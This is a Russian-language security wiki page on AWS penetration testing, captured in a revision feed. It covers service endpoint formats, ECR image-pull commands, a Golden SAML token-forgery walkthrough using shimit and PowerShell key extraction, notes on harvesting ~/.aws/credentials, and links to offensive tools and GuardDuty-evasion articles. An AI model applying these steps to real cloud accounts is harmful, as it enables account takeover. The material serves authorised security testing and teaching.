Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Aws_comprehend.png&amp;diff=1227</id>
		<title>Файл:Aws comprehend.png</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Aws_comprehend.png&amp;diff=1227"/>
				<updated>2022-10-17T11:44:01Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1226</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1226"/>
				<updated>2022-10-17T11:37:33Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* CodeGuru */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
